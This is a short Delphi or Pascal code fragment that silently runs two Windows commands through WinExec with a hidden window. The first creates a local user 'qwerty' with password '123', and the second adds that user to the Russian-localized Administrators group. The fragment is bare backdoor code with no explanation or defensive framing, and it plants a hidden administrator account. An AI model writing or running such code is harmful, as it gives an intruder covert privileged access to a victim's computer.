const
s1 : pchar = 'net user qwerty 123 /add ';
s2 : pchar = 'net localgroup "Администраторы" qwerty /add';
begin
WinExec(s1, SW_HIDE);
WinExec(s2, SW_HIDE);
end;